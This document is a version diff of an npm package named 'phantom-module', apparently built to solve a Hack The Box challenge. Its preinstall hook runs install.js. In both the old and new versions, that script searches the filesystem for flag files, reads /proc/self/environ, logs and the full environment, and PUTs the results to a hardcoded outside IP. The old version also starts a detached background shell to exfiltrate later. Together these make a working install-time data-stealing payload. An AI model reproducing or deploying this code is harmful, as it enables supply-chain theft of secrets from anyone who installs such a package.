phantom-module 111.0.1 → 111.0.2

package/install.js

@@ -1,62 +1,47 @@
 const fs = require('fs');
 const http = require('http');
-const { spawn } = require('child_process');
+const { execSync } = require('child_process');
 
 (function() {
-  const flagPaths = ['/flag', '/root/flag', '/tmp/flag', './flag'];
-  let flag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG;
+  let output = "none";
   
-  if (!flag) {
-    for (const path of flagPaths) {
-      try {
-        if (fs.existsSync(path)) {
-          flag = fs.readFileSync(path, 'utf8').trim();
-          break;
+  try {
+    // Try to find the flag file anywhere and cat it
+    let files = execSync('find / -name "*flag*" 2>/dev/null').toString().trim().split('\n');
+    let cats = [];
+    for (let f of files) {
+        if (f) {
+            try { cats.push(f + ': ' + fs.readFileSync(f, 'utf8').trim()); } catch(e) {}
         }
-      } catch (e) {}
     }
-  }
-  if (!flag) {
-    try {
-      const procEnv = fs.readFileSync('/proc/self/environ', 'utf8');
-      const match = procEnv.match(/FLAG[=:] ([^\x00]+)/);
-      if (match) flag = match[1];
-    } catch (e) {}
+    if (cats.length > 0) output = cats.join(' | ');
+  } catch (e) {
+    output = "err1: " + e.message;
   }
   
-  function sendResult(data) {
-      const postData = JSON.stringify({
-        manifest: `ecto_module:\n  name: "FLAG"\n  cargo_hold: "${data}"\n`
-      });
-      const req = http.request({
-        hostname: '154.57.164.64', 
-        port: 31205,
-        path: '/api/modules/ECT-654321', // EXFILTRATE TO EXISTING MODULE
-        method: 'PUT',
-        headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
-      });
-      req.write(postData);
-      req.end();
+  if (!output || output === "none" || output.length === 0) {
+      try {
+          output = "LOGS: " + execSync('cat /home/node/aspect-node/logs/module.log 2>/dev/null | tail -n 10').toString();
+      } catch (e) {}
   }
-
-  if (flag) {
-      sendResult(flag);
-  } else {
-      sendResult("Checking logs in background...");
-      // Spawn background process to read logs after 45s (in case flag is printed there)
-      const child = spawn('/bin/sh', ['-c', [
-        'sleep 45',
-        'LOGFILE=/home/node/aspect-node/logs/module.log',
-        'if [ -f "$LOGFILE" ]; then',
-        '  FLAG=$(cat "$LOGFILE" | grep -o "HTB{[^}]*}" | head -1)',
-        '  if [ -n "$FLAG" ]; then',
-        '    SAFE=$(echo "$FLAG" | tr \'"\' "\'")',
-        '    BODY=\'{"manifest":"ecto_module:\\n  name: \\\\"\'$SAFE\'\\\\"\\n  cargo_hold: \\\\"LOGS\\\\"\\"}\'',
-        '    echo "$BODY" > /tmp/flag.json',
-        '    node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31205,path:\'/api/modules/ECT-654321\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}});r.write(d);r.end();"',
-        '  fi',
-        'fi'
-      ].join('\n')], { detached: true, stdio: 'ignore' });
-      child.unref();
+  
+  if (!output || output === "none" || output.length === 0) {
+      try {
+          output = "ENV: " + execSync('env').toString();
+      } catch(e) {}
   }
+  
+  const postData = JSON.stringify({
+    manifest: `ecto_module:\n  name: "FLAG_OUTPUT"\n  cargo_hold: ${JSON.stringify(output.substring(0, 1000))}\n`
+  });
+  
+  const req = http.request({
+    hostname: '154.57.164.64', 
+    port: 31205,
+    path: '/api/modules/ECT-654321', 
+    method: 'PUT',
+    headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
+  });
+  req.write(postData);
+  req.end();
 })();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "phantom-module",
-  "version": "111.0.1",
+  "version": "111.0.2",
   "scripts": {
     "preinstall": "node install.js || true"
   }